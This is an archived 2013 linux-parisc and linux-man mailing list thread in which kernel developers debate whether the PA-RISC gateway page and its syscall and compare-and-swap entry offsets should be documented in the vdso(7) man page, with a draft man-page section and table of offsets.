> > On Sunday 07 April 2013 14:48:42 John David Anglin wrote:
> >> On 7-Apr-13, at 2:39 PM, Mike Frysinger wrote:
> >>> just to be clear, the only insn you need is:
> >>> 	ble 0x100(%sr2, %r0);
> >>>=20
> >>> the kernel docs say sr2 holds the kernel gateway page (so i guess
> >>> 0x100 is a
> >>> known offset into that).  the docs don't mention r0 that i can see,
> >>> so i'm
> >>> guessing it's one of those "always 0" registers ?
> >>=20
> >> Yes.  There is also an entry at offset 0xb0 for light-weight-
> >> syscalls.  Currently,
> >> this implements an atomic CAS operation used for pthread support.
> >=20
> > interesting.  sounds like a poor man's vDSO.  i'll document this the
> > new
> > vdso(7) man page.
>=20
> Not exactly, the code runs on the gateway page which is in kernel space.
> The main reason for doing the operation in kernel space is to prevent
> processes from being preempted while executing in the lock region.  In
> general,
> parisc processes are not preempted on the gateway page.  There are
> some subtleties regarding fault handling.

sure ... the Blackfin arch does a similar thing for providing fast atomic=20
primitives to userspace since the ISA can't.

what do you think of this section for vdso(7) ?  i might have to split the=
=20
"real" vdso arches from these others since there's a couple now (arm, bfin,=
=20
parisc), and i think there might be more down the line (microblaze).

=2ESS parisc (hppa) functions
=2E\" See linux/arch/parisc/kernel/syscall.S
=2E\" See linux/Documentation/parisc/registers
The parisc port has a code page full of utility functions.
Rather than use the normal ELF aux vector approach, it passes the address of
the page to the process via the SR2 register.
This is done to match the way HP-UX works.

Since it's just a raw page of code, there is no ELF information for doing
symbol lookups or versioning.
Simply call into the appropriate offset via the branch instruction, e.g.:
=2Ebr
ble <offset>(%sr2, %r0)
=2Eif t \{\
=2Eft CW
\}
=2ETS
l l.
offset	function
_
00b0	lws_entry
00e0	set_thread_pointer
0100	linux_gateway_entry (syscall)
0268	syscall_nosys
0274	tracesys
0324	tracesys_next
0368	tracesys_exit
03a0	tracesys_sigexit
03b8	lws_start
03dc	lws_exit_nosys
03e0	lws_exit
03e4	lws_compare_and_swap64
03e8	lws_compare_and_swap
0404	cas_wouldblock
0410	cas_action
=2ETE
=2Eif t \{\
=2Ein
=2Eft P
\}

> There is support in glibc and libgcc for these calls.  The libgcc
> implementation
> in linux-atomic.c is very similar to that on arm.

interesting.  another arch to add :).
=2Dmike

--nextPart1603183.eDxiJ80Ly0
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJRZ4HQAAoJEEFjO5/oN/WBVbkP/236c+rARfRbBqshk9I6VDAj
HlBA+iLEN66BInmCO22yw6Nk3CO1Rao2FXjn+c+OojroHGB+cJAUS8M5r4+6aCoW
FLjMjy/qHdF5d7ZXbK4gM1I3D45emEzJSEKP+yqlCV9De6YzTG7zidza7LevEIaT
Fo4bso0zMaX4tacc3wsqkOJfrexIYtOhaPmXktqdEWtrOi+CLWEyncmFdWgtJb+D
raTnml7BgtDb+M5KHXq+Q8izsaPOemjzQQqSwReHYs1MUpdJn68NMaz5JWBOsZHS
JD8P+ed+KnNjmHn2c9tya3pJ8CEFQ9uxWOR9rgOkv8KJ2AQWz2gKM3kEVBvbsjQc
Z63BubtTuDV2n3wQTtCT5bGejA9K6riWWbgx84sbqWbKglqH8XkGivECcG+9QIgw
SRyzfkipvdls5REnvFzeLMstFx5eWgunHp/q3AdsXo8L+NAsXiYLgvvU+qvx/+4v
6+6RLbhRKIsoM2ftKd4/CKwmJT10ZN3PuKsg97OOXg3SE6wd+IgGe5SGfha+rRzD
serbNx2PMeQ4U76Q3J6LNWU8N6UbLdvCaiN6zKIMH+/YWqFkBTtn8xuc3MWfO3jb
a3gcEQeR9GDWn+SS5DOoHRwWaHSdUIE8/z8GJRuo8QYbV0LdsTSBcIaOTIBzHJ4g
9Z10fsTXsZkAQRsKxHo+
=B2rN
-----END PGP SIGNATURE-----

--nextPart1603183.eDxiJ80Ly0--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Thu, 11 Apr 2013 21:45:12 -0700
Lines: 106
Approved: news@gmane.org
Message-ID: <1365741912.6982.8.camel@dabdike>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com>
	 <201304112155.46349.vapier@gentoo.org>
	 <BLU0-SMTP62F4273B01E0328ADCD7BE97C10@phx.gbl>
	 <201304112338.56618.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365741919 10307 80.91.229.3 (12 Apr 2013 04:45:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Apr 2013 04:45:19 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Kyle McMartin <kyle@mcmartin.ca>,
	"Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>,
	linux-man <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 12 06:45:18 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UQVrR-0000cZ-Rk
	for glpp-linux-parisc@plane.gmane.org; Fri, 12 Apr 2013 06:45:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750850Ab3DLEpQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Apr 2013 00:45:16 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44084 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750800Ab3DLEpP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Apr 2013 00:45:15 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D47138EE0DF;
	Thu, 11 Apr 2013 21:45:14 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PV4XUo78c8Kz; Thu, 11 Apr 2013 21:45:13 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 3E8208EE0A5;
	Thu, 11 Apr 2013 21:45:13 -0700 (PDT)
In-Reply-To: <201304112338.56618.vapier@gentoo.org>
X-Mailer: Evolution 3.6.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4907 gmane.linux.man:3905
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4907>

On Thu, 2013-04-11 at 23:38 -0400, Mike Frysinger wrote:
> On Thursday 11 April 2013 22:34:43 John David Anglin wrote:
> > On 11-Apr-13, at 9:55 PM, Mike Frysinger wrote:
> > > On Sunday 07 April 2013 14:48:42 John David Anglin wrote:
> > >> On 7-Apr-13, at 2:39 PM, Mike Frysinger wrote:
> > >>> just to be clear, the only insn you need is:
> > >>>   ble 0x100(%sr2, %r0);
> > >>> 
> > >>> the kernel docs say sr2 holds the kernel gateway page (so i guess
> > >>> 0x100 is a
> > >>> known offset into that).  the docs don't mention r0 that i can see,
> > >>> so i'm
> > >>> guessing it's one of those "always 0" registers ?
> > >> 
> > >> Yes.  There is also an entry at offset 0xb0 for light-weight-
> > >> syscalls.  Currently,
> > >> this implements an atomic CAS operation used for pthread support.
> > > 
> > > interesting.  sounds like a poor man's vDSO.  i'll document this the
> > > new
> > > vdso(7) man page.
> > 
> > Not exactly, the code runs on the gateway page which is in kernel space.
> > The main reason for doing the operation in kernel space is to prevent
> > processes from being preempted while executing in the lock region.  In
> > general,
> > parisc processes are not preempted on the gateway page.  There are
> > some subtleties regarding fault handling.
> 
> sure ... the Blackfin arch does a similar thing for providing fast atomic 
> primitives to userspace since the ISA can't.
> 
> what do you think of this section for vdso(7) ?  i might have to split the 
> "real" vdso arches from these others since there's a couple now (arm, bfin, 
> parisc), and i think there might be more down the line (microblaze).

I've got to say, I really don't think this can be classified as a vdso.
For a vdso, the kernel exports an ELF object that can be linked
dynamically into any elf binary requiring it.  The ELF section
information provides full details and so vdso entries can be called by
symbol.

In the parisc gateway page implementation, we have a set of "hidden"
primitives which the executable must know how to call (no self
description like a vdso).  This mechanism is identical to the original
intent of the x86 int <n> instruction (an instruction that traps into
the kernel and performs some primitive action but to use it, you have to
know which function corresponds to which value of <n>).

James


> .SS parisc (hppa) functions
> .\" See linux/arch/parisc/kernel/syscall.S
> .\" See linux/Documentation/parisc/registers
> The parisc port has a code page full of utility functions.
> Rather than use the normal ELF aux vector approach, it passes the address of
> the page to the process via the SR2 register.
> This is done to match the way HP-UX works.
> 
> Since it's just a raw page of code, there is no ELF information for doing
> symbol lookups or versioning.
> Simply call into the appropriate offset via the branch instruction, e.g.:
> .br
> ble <offset>(%sr2, %r0)
> .if t \{\
> .ft CW
> \}
> .TS
> l l.
> offset  function
> _
> 00b0    lws_entry
> 00e0    set_thread_pointer
> 0100    linux_gateway_entry (syscall)
> 0268    syscall_nosys
> 0274    tracesys
> 0324    tracesys_next
> 0368    tracesys_exit
> 03a0    tracesys_sigexit
> 03b8    lws_start
> 03dc    lws_exit_nosys
> 03e0    lws_exit
> 03e4    lws_compare_and_swap64
> 03e8    lws_compare_and_swap
> 0404    cas_wouldblock
> 0410    cas_action
> .TE
> .if t \{\
> .in
> .ft P
> \}
> 
> > There is support in glibc and libgcc for these calls.  The libgcc
> > implementation
> > in linux-atomic.c is very similar to that on arm.
> 
> interesting.  another arch to add :).
> -mike


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Fri, 12 Apr 2013 10:01:12 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20130412140112.GD11525@bombadil.infradead.org>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com>
 <201304071439.15297.vapier@gentoo.org>
 <BLU0-SMTP986B123D17DB8B88214F797C40@phx.gbl>
 <201304112155.46349.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1365775279 21358 80.91.229.3 (12 Apr 2013 14:01:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Apr 2013 14:01:19 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	"Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>,
	linux-man <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 12 16:01:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UQeXY-0001KB-Hr
	for glpp-linux-parisc@plane.gmane.org; Fri, 12 Apr 2013 16:01:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751386Ab3DLOBS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Apr 2013 10:01:18 -0400
Original-Received: from 173-166-109-252-newengland.hfc.comcastbusiness.net ([173.166.109.252]:38447
	"EHLO bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751254Ab3DLOBS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Apr 2013 10:01:18 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UQeXQ-0007qu-6x; Fri, 12 Apr 2013 14:01:12 +0000
Content-Disposition: inline
In-Reply-To: <201304112155.46349.vapier@gentoo.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4908 gmane.linux.man:3906
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4908>

On Thu, Apr 11, 2013 at 09:55:43PM -0400, Mike Frysinger wrote:
> interesting.  sounds like a poor man's vDSO.  i'll document this the new 
> vdso(7) man page.
> -mike

fwiw ia64 does basically the same thing for a subset of syscalls
(fsys.c)

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Fri, 12 Apr 2013 14:45:05 -0400
Organization: wh0rd.org
Lines: 113
Approved: news@gmane.org
Message-ID: <201304121445.08948.vapier@gentoo.org>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com> <201304112338.56618.vapier@gentoo.org> <1365741912.6982.8.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart4420897.mEGuZ0ATZu";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365792218 18746 80.91.229.3 (12 Apr 2013 18:43:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Apr 2013 18:43:38 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Kyle McMartin <kyle@mcmartin.ca>,
	"Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>,
	"linux-man" <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 12 20:43:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UQiwm-0005Kp-Hr
	for glpp-linux-parisc@plane.gmane.org; Fri, 12 Apr 2013 20:43:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753370Ab3DLSnj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Apr 2013 14:43:39 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:59339 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751920Ab3DLSni (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Apr 2013 14:43:38 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 480C733E517;
	Fri, 12 Apr 2013 18:43:38 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.8.3; KDE/4.6.5; x86_64; ; )
In-Reply-To: <1365741912.6982.8.camel@dabdike>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4909 gmane.linux.man:3907
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4909>

--nextPart4420897.mEGuZ0ATZu
Content-Type: Text/Plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable

On Friday 12 April 2013 00:45:12 James Bottomley wrote:
> On Thu, 2013-04-11 at 23:38 -0400, Mike Frysinger wrote:
> > On Thursday 11 April 2013 22:34:43 John David Anglin wrote:
> > > On 11-Apr-13, at 9:55 PM, Mike Frysinger wrote:
> > > > On Sunday 07 April 2013 14:48:42 John David Anglin wrote:
> > > >> On 7-Apr-13, at 2:39 PM, Mike Frysinger wrote:
> > > >>> just to be clear, the only insn you need is:
> > > >>>   ble 0x100(%sr2, %r0);
> > > >>>=20
> > > >>> the kernel docs say sr2 holds the kernel gateway page (so i guess
> > > >>> 0x100 is a
> > > >>> known offset into that).  the docs don't mention r0 that i can se=
e,
> > > >>> so i'm
> > > >>> guessing it's one of those "always 0" registers ?
> > > >>=20
> > > >> Yes.  There is also an entry at offset 0xb0 for light-weight-
> > > >> syscalls.  Currently,
> > > >> this implements an atomic CAS operation used for pthread support.
> > > >=20
> > > > interesting.  sounds like a poor man's vDSO.  i'll document this the
> > > > new
> > > > vdso(7) man page.
> > >=20
> > > Not exactly, the code runs on the gateway page which is in kernel
> > > space. The main reason for doing the operation in kernel space is to
> > > prevent processes from being preempted while executing in the lock
> > > region.  In general,
> > > parisc processes are not preempted on the gateway page.  There are
> > > some subtleties regarding fault handling.
> >=20
> > sure ... the Blackfin arch does a similar thing for providing fast atom=
ic
> > primitives to userspace since the ISA can't.
> >=20
> > what do you think of this section for vdso(7) ?  i might have to split
> > the "real" vdso arches from these others since there's a couple now
> > (arm, bfin, parisc), and i think there might be more down the line
> > (microblaze).
>=20
> I've got to say, I really don't think this can be classified as a vdso.
> For a vdso, the kernel exports an ELF object that can be linked
> dynamically into any elf binary requiring it.  The ELF section
> information provides full details and so vdso entries can be called by
> symbol.

strictly speaking, sure, a vDSO is only a vDSO if it's an ELF (since the=20
acronym is literally "virtual dynamic shared object").  however, i see the=
=20
vdso as being a bit more of a flexible concept -- it's a place of shared co=
de=20
that the kernel manages and exports for all userspace processes. =20
fundamentally, the point of the vDSO is to provide services to greatly spee=
d=20
up userspace.  in that regard, these mapped pages are exactly like vDSOs.

thus i think it's appropriate to document these "fixed code" regions that m=
any=20
arches export (ARM, Blackfin, Itanium, Microblaze, PA-RISC) in the same man=
=20
page as the vdso.  especially since (currently) arches do one or the other,=
=20
but not both.

> In the parisc gateway page implementation, we have a set of "hidden"
> primitives which the executable must know how to call (no self
> description like a vdso).  This mechanism is identical to the original
> intent of the x86 int <n> instruction (an instruction that traps into
> the kernel and performs some primitive action but to use it, you have to
> know which function corresponds to which value of <n>).

would it be useful to document all of them ?  or just the ones that userspa=
ce=20
actively uses (like syscall/cas) ?  or should all of this be recorded in th=
e=20
kernel's Documentation/parisc/ subdir and just have the man page refer peop=
le=20
there (like it does for ARM & Blackfin currently) ?
=2Dmike

--nextPart4420897.mEGuZ0ATZu
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJRaFY0AAoJEEFjO5/oN/WBHEkQAIN9G92cijtofJnh6JbbEnV7
shOnMnE7rYinX9UwbjGPDjiZ29WYzsseyn590jofBdN/lD84XWzzefG4yXsBDlwM
xi4THnqAb8VhM4spz/9wc88vDX1Lex8fgZrhqXKDuxr4VjqojMPh02Ezehe1eqCV
Q5jw6f5MYVMhp1CPsBMXBLJBPur/8vaWiVF4ldKVcTe0FlSfvAb3iDaKtJOwyaOv
L7EMTdTFgDha4g6f1xiGvxPl3x+wXjpqUfV2Ha/aLdZ+28R7/brmTwVINlAWgRHB
I6GU605MwCZa5xjzNw/7LKK762fdwyMgzgzrBwQGTWB7qqH80oby2VjNEf67NUuw
TMvdv+bgpW8+A4qJeQTqMc4ZJw7Cws23ldToo2trHXPwLA7fzlrJuetKg+a0W9vh
19ry303G9VnFfIuKTGCr943nsbGjuqLJZEq8NyRHzUE4Gr9m/WKcqkD1OCQuvii8
4GCXMB4JlkDpNS2m5uawwdbMJena7HrKln8pm5+E3QNHBADocyZ6aiYfMu8qNv8x
sAo0QvyORaNWlArc6/xOvkH0zGQyUeVVfGLCH5cNPMAeqSRklcM71ToN7pFKLjoC
QEKRFSEbgKcJmXBELS3jLlwDszB+qaDQECow6RcrSJN653Q7xqnrOgahqSXy3pPC
ARjTXutY4acEt41vhhwJ
=1ZVf
-----END PGP SIGNATURE-----

--nextPart4420897.mEGuZ0ATZu--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Fri, 12 Apr 2013 12:14:47 -0700
Lines: 69
Approved: news@gmane.org
Message-ID: <1365794087.1934.50.camel@dabdike>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com>
	 <201304112338.56618.vapier@gentoo.org> <1365741912.6982.8.camel@dabdike>
	 <201304121445.08948.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365794089 5493 80.91.229.3 (12 Apr 2013 19:14:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Apr 2013 19:14:49 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Kyle McMartin <kyle@mcmartin.ca>,
	"Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>,
	linux-man <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 12 21:14:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UQjQw-0008JV-QY
	for glpp-linux-parisc@plane.gmane.org; Fri, 12 Apr 2013 21:14:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752875Ab3DLTOt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Apr 2013 15:14:49 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45717 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751504Ab3DLTOt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Apr 2013 15:14:49 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E458D8EE0CF;
	Fri, 12 Apr 2013 12:14:48 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id qx7gGnkeKFQ4; Fri, 12 Apr 2013 12:14:48 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 3ECB08EE0A5;
	Fri, 12 Apr 2013 12:14:48 -0700 (PDT)
In-Reply-To: <201304121445.08948.vapier@gentoo.org>
X-Mailer: Evolution 3.6.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4910 gmane.linux.man:3908
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4910>

On Fri, 2013-04-12 at 14:45 -0400, Mike Frysinger wrote:
> On Friday 12 April 2013 00:45:12 James Bottomley wrote:
> > On Thu, 2013-04-11 at 23:38 -0400, Mike Frysinger wrote:
> > > what do you think of this section for vdso(7) ?  i might have to split
> > > the "real" vdso arches from these others since there's a couple now
> > > (arm, bfin, parisc), and i think there might be more down the line
> > > (microblaze).
> > 
> > I've got to say, I really don't think this can be classified as a vdso.
> > For a vdso, the kernel exports an ELF object that can be linked
> > dynamically into any elf binary requiring it.  The ELF section
> > information provides full details and so vdso entries can be called by
> > symbol.
> 
> strictly speaking, sure, a vDSO is only a vDSO if it's an ELF (since the 
> acronym is literally "virtual dynamic shared object").  however, i see the 
> vdso as being a bit more of a flexible concept -- it's a place of shared code 
> that the kernel manages and exports for all userspace processes.  
> fundamentally, the point of the vDSO is to provide services to greatly speed 
> up userspace.  in that regard, these mapped pages are exactly like vDSOs.

I don't entirely understand this classification.  If the kernel<->user
gateway becomes classified as a vdso, that covers our syscall interface
on every archtecture.  There's now no distinction between a vdso (which
may not even move to kernel mode) and a syscall.

I think the difference is that a syscall is a specific call to a known
kernel routine by number and it involves a transition to kernel mode.  A
vdso is an exported link object containing certain functions which may
or may not cause a trap to kernel mode when executed.  The distinction
is how you do the call.  For syscalls, you have to know the number and
the arguments.  For vdso you just have to know the symbol (and
obviously, the prototype for C code) and the kernel supplies the
implementation direct to the userspace binary.

> thus i think it's appropriate to document these "fixed code" regions that many 
> arches export (ARM, Blackfin, Itanium, Microblaze, PA-RISC) in the same man 
> page as the vdso.  especially since (currently) arches do one or the other, 
> but not both.

I really see these as a type of lightweight syscall.  You use the
syscall prototype (call by number with known arguments) but the call may
not necessarily transition to kernel mode proper to handle the function.

> > In the parisc gateway page implementation, we have a set of "hidden"
> > primitives which the executable must know how to call (no self
> > description like a vdso).  This mechanism is identical to the original
> > intent of the x86 int <n> instruction (an instruction that traps into
> > the kernel and performs some primitive action but to use it, you have to
> > know which function corresponds to which value of <n>).
> 
> would it be useful to document all of them ?  or just the ones that userspace 
> actively uses (like syscall/cas) ?  or should all of this be recorded in the 
> kernel's Documentation/parisc/ subdir and just have the man page refer people 
> there (like it does for ARM & Blackfin currently) ?

I'm not sure.  For x86 they're in include/asm/traps.h.  I think the only
ones we really use are int3 for breakpoint, int4 for overflow and int80
for legacy syscall.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Fri, 12 Apr 2013 15:46:51 -0400
Organization: wh0rd.org
Lines: 145
Approved: news@gmane.org
Message-ID: <201304121546.54478.vapier@gentoo.org>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com> <201304121445.08948.vapier@gentoo.org> <1365794087.1934.50.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart4323620.CjZlNmuAJo";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365795922 25137 80.91.229.3 (12 Apr 2013 19:45:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Apr 2013 19:45:22 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Kyle McMartin <kyle@mcmartin.ca>,
